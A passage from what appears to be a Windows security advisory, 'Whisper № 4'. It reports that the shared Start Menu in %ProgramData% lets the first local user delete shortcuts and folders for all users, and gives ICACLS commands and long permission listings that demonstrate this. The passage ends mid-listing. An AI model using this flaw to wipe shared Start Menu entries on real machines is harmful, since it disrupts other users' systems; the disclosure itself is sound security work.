"Terminal Server Client"="SOFTWARE\\Microsoft\\Terminal Server Client\\Capabilities"
"Windows Installer"="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\Capabilities"
"Windows Script Host"="SOFTWARE\\Microsoft\\Windows Script Host\\Capabilities"
"Windows Update Standalone Installer"="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WUSA\\Capabilities"

Double-click the file whisper.reg created in step 1. to merge its entries into the Registry.

Whisper № 4

With Windows Vista^® Microsoft introduced the directory %SystemDrive%\ProgramData\ alias %ProgramData%\ and moved the directory with the shared Start Menu from its previous, properly protected location %ALLUSERSPROFILE%\Start Menu\ to %ProgramData%\Microsoft\Windows\Start Menu\.

Before this relocation only members of the BUILTIN\Administrators group had write and delete access to files and subdirectories beneath %ALLUSERSPROFILE%\ and therefore the shared Start Menu too – afterwards the DACL of the directory %ProgramData%\Microsoft\Windows\Start Menu\ contains at least one inherit-only ACE like (A;OICIIO;DTSD;;;S-1-5-21-‹digits›-‹digits›-‹digits›-1000) which grants the first local user account created during setup DELETE and FILE_DELETE_CHILD access to all files and subdirectories underneath: since almost 19 (in words: nineteen) years at least one unprivileged user can delete the shared Start Menu completely, thus affecting all (other) users of a machine!

Demonstration

Perform one of the two following simple steps to show the vulnerability and optionally the destructive last step to exploit it!

Log on to the first user account created during Windows setup and start the Command Processor Cmd.exe unelevated, then execute the following command lines to display the unprotected files of the Start Menu:

ICACLS.EXE "%ProgramData%\Microsoft\Windows\Start Menu" /Q
ICACLS.EXE "%ProgramData%\Microsoft\Windows\Start Menu\*" /C /Q
IF NOT DEFINED WHISPER (
ICACLS.EXE "%ProgramData%\Microsoft\Windows\Start Menu\desktop.ini" /C /Q /T | FIND.EXE "%USERDOMAIN%\%USERNAME%"
ICACLS.EXE "%ProgramData%\Microsoft\Windows\Start Menu\*.lnk" /C /Q /T | FIND.EXE "%USERDOMAIN%\%USERNAME%"
) ELSE (
ICACLS.EXE "%ProgramData%\Microsoft\Windows\Start Menu\desktop.ini" /C /Q /T | FINDSTR.EXE /B /C:"%ProgramData%"
ICACLS.EXE "%ProgramData%\Microsoft\Windows\Start Menu\*.lnk" /C /Q /T | FINDSTR.EXE /B /C:"%ProgramData%"
)

Note: the command lines can be copied and pasted as block into a Command Processor window.

Note: both branches of the IF (…) ELSE (…) statement yield the same output!

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\ProgramData\Microsoft\Windows\Start Menu AMNESIAC\Stefan:(OI)(CI)(IO)(DE,DC)
                                            AMNESIAC\Administrator:(OI)(CI)(IO)(DE,DC)
                                            NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
                                            BUILTIN\Administrators:(I)(OI)(CI)(F)
                                            BUILTIN\Users:(I)(OI)(CI)(RX)
                                            Everyone:(I)(OI)(CI)(RX)

Successfully processed 1 files; Failed processing 0 files

C:\ProgramData\Microsoft\Windows\Start Menu\Default Programs.lnk AMNESIAC\Stefan:(I)(DE,DC)
                                                                 AMNESIAC\Administrator:(I)(DE,DC)
                                                                 NT AUTHORITY\SYSTEM:(I)(F)
                                                                 BUILTIN\Administrators:(I)(F)
                                                                 BUILTIN\Users:(I)(RX)
                                                                 Everyone:(I)(RX)

C:\ProgramData\Microsoft\Windows\Start Menu\desktop.ini AMNESIAC\Stefan:(I)(DE,DC)
                                                        AMNESIAC\Administrator:(I)(DE,DC)
                                                        NT AUTHORITY\SYSTEM:(I)(F)
                                                        BUILTIN\Administrators:(I)(F)
                                                        BUILTIN\Users:(I)(RX)
                                                        Everyone:(I)(RX)

C:\ProgramData\Microsoft\Windows\Start Menu\Programs AMNESIAC\Stefan:(I)(OI)(CI)(DE,DC)
                                                     AMNESIAC\Administrator:(I)(OI)(CI)(DE,DC)
                                                     NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
                                                     BUILTIN\Administrators:(I)(OI)(CI)(F)
                                                     BUILTIN\Users:(I)(OI)(CI)(RX)
                                                     Everyone:(I)(OI)(CI)(RX)

C:\ProgramData\Microsoft\Windows\Start Menu\Windows Update.lnk AMNESIAC\Stefan:(I)(DE,DC)
                                                               AMNESIAC\Administrator:(I)(DE,DC)
                                                               NT AUTHORITY\SYSTEM:(I)(F)
                                                               BUILTIN\Administrators:(I)(F)
                                                               BUILTIN\Users:(I)(RX)
                                                               Everyone:(I)(RX)

Successfully processed 4 files; Failed processing 0 files

C:\ProgramData\Microsoft\Windows\Start Menu\desktop.ini AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\desktop.ini AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\desktop.ini AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Accessibility\desktop.ini AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\desktop.ini AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\desktop.ini AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\desktop.ini AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Games\desktop.ini AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Maintenance\desktop.ini AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Windows Virtual PC\desktop.ini AMNESIAC\Stefan:(I)(DE,DC)

C:\ProgramData\Microsoft\Windows\Start Menu\Default Programs.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Windows Update.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Media Center.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Security Essentials.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Windows Anytime Upgrade.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Windows Calendar.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Windows DVD Maker.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Windows Fax and Scan.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Windows Mail.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Windows Media Player.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\XPS Viewer.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Calculator.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\DisplaySwitch.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Math Input Panel.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Mobility Center.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\NetworkProjection.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Paint.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Remote Desktop Connection.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Snipping Tool.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Sound Recorder.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Sticky Notes.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Sync Center.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Welcome Center.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Wordpad.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Accessibility\Speech Recognition.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Character Map.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\dfrgui.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Disk Cleanup.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Registry Editor.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Resource Monitor.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\System Information.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\System Restore.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Task Scheduler.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Windows Easy Transfer Reports.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Windows Easy Transfer.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Tablet PC\ShapeCollector.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Tablet PC\TabTip.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell (x86).lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell ISE (x86).lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell ISE.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Component Services.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Computer Management.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Data Sources (ODBC).lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Disk Management.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Event Viewer.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\IIS Manager.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\iSCSI Initiator.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Memory Diagnostics Tool.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Microsoft .NET Framework 2.0 Configuration.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Performance Monitor.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Print Management.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Scan Management.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Security Configuration Management.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\services.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\System Configuration.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Task Scheduler.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Windows Firewall with Advanced Security.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Windows PowerShell Modules.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Application Verifier\Application Verifier.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Application Verifier (x64)\Application Verifier (x64).lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Debugging Tools for Windows (x64)\Debugging Help.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Debugging Tools for Windows (x64)\Global Flags.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Debugging Tools for Windows (x64)\Release Notes.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Debugging Tools for Windows (x64)\Uninstall Debugging Tools for Windows (x64).lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Debugging Tools for Windows (x64)\WinDbg.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Debugging Tools for Windows (x86)\Debugging Help.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Debugging Tools for Windows (x86)\Global Flags.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Debugging Tools for Windows (x86)\Release Notes.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Debugging Tools for Windows (x86)\Uninstall Debugging Tools for Windows (x86).lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Debugging Tools for Windows (x86)\WinDbg.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Games\GameExplorer.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Maintenance\Backup and Restore Center.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Maintenance\Create Recovery Disc.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Maintenance\Remote Assistance.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Windows SDK v7.1\Release Notes.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Windows SDK v7.1\Samples Directory.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Windows SDK v7.1\Samples Reference.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Windows SDK v7.1\Tools Reference.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Windows SDK v7.1\Windows SDK 7.1 Command Prompt.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Windows SDK v7.1\Tools\Accessible Event Watcher (x64).lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Windows SDK v7.1\Tools\GUID Generator.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Windows SDK v7.1\Tools\Inspect Objects (x64).lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Windows SDK v7.1\Tools\Manifest_Generator (x64).lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Windows SDK v7.1\Tools\OLE-COM Object Viewer (x64).lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Windows SDK v7.1\Tools\WinDiff (x64).lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Windows SDK v7.1\Tools\Windows Troubleshooting Pack Designer.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Windows SDK v7.1\Visual Studio Registration\Windows SDK Configuration Tool.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Windows Virtual PC\Virtual Machines.lnk AMNESIAC\Stefan:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Windows Virtual PC\Virtual Windows XP.lnk AMNESIAC\Stefan:(I)(DE,DC)

OUCH¹: on this installation of Windows 7 all subdirectories, shortcuts and desktop.ini files of the shared Start Menu are not properly protected – the unprivileged primary user is able to remove them all!

On Windows 10 and later versions of Windows NT run the following alternative command line instead:

ICACLS.EXE "%ProgramData%\Microsoft\Windows\Start Menu" /C /Q /T | FINDSTR.EXE /L "%ProgramData% (DE,DC)"

C:\ProgramData\Microsoft\Windows\Start Menu WHISPER\Administrator:(OI)(CI)(IO)(DE,DC)
                                            S-1-5-21-976053105-2763335980-2869100113-1001:(OI)(CI)(IO)(DE,DC)
                                            S-1-5-21-976053105-2763335980-2869100113-1000:(OI)(CI)(IO)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\desktop.ini WHISPER\Administrator:(I)(DE,DC)
                                                        S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                        S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs WHISPER\Administrator:(I)(OI)(CI)(DE,DC)
                                                     S-1-5-21-976053105-2763335980-2869100113-1001:(I)(OI)(CI)(DE,DC)
                                                     S-1-5-21-976053105-2763335980-2869100113-1000:(I)(OI)(CI)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessibility WHISPER\Administrator:(I)(OI)(CI)(DE,DC)
                                                                   S-1-5-21-976053105-2763335980-2869100113-1001:(I)(OI)(CI)(DE,DC)
                                                                   S-1-5-21-976053105-2763335980-2869100113-1000:(I)(OI)(CI)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessibility\Desktop.ini WHISPER\Administrator:(I)(DE,DC)
                                                                               S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                               S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories WHISPER\Administrator:(I)(OI)(CI)(DE,DC)
                                                                 S-1-5-21-976053105-2763335980-2869100113-1001:(I)(OI)(CI)(DE,DC)
                                                                 S-1-5-21-976053105-2763335980-2869100113-1000:(I)(OI)(CI)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\desktop.ini WHISPER\Administrator:(I)(DE,DC)
                                                                             S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                             S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Remote Desktop Connection.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                               S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                               S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Steps Recorder.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                    S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                    S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools WHISPER\Administrator:(I)(OI)(CI)(DE,DC)
                                                                              S-1-5-21-976053105-2763335980-2869100113-1001:(I)(OI)(CI)(DE,DC)
                                                                              S-1-5-21-976053105-2763335980-2869100113-1000:(I)(OI)(CI)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Character Map.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                                S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                                S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\desktop.ini WHISPER\Administrator:(I)(DE,DC)
                                                                                          S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                          S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows Media Player Legacy.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                                 S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                                 S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools WHISPER\Administrator:(I)(OI)(CI)(DE,DC)
                                                                          S-1-5-21-976053105-2763335980-2869100113-1001:(I)(OI)(CI)(DE,DC)
                                                                          S-1-5-21-976053105-2763335980-2869100113-1000:(I)(OI)(CI)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Component Services.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                                 S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                                 S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Computer Management.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                                  S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                                  S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\desktop.ini WHISPER\Administrator:(I)(DE,DC)
                                                                                      S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                      S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\dfrgui.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                     S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                     S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Disk Cleanup.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                           S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                           S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Event Viewer.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                           S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                           S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\iSCSI Initiator.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                              S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                              S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Memory Diagnostics Tool.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                                      S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                                      S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\ODBC Data Sources (32-bit).lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                                         S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                                         S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\ODBC Data Sources (64-bit).lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                                         S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                                         S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Performance Monitor.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                                  S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                                  S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Print Management.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                               S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                               S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\RecoveryDrive.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                            S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                            S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Registry Editor.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                              S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                              S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Resource Monitor.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                               S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                               S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Security Configuration Management.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                                                S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                                                S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\services.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                       S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                       S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\System Configuration.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                                   S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                                   S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\System Information.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                                 S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                                 S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Task Scheduler.lnk WHISPER\Administrator:(I)(DE,DC)
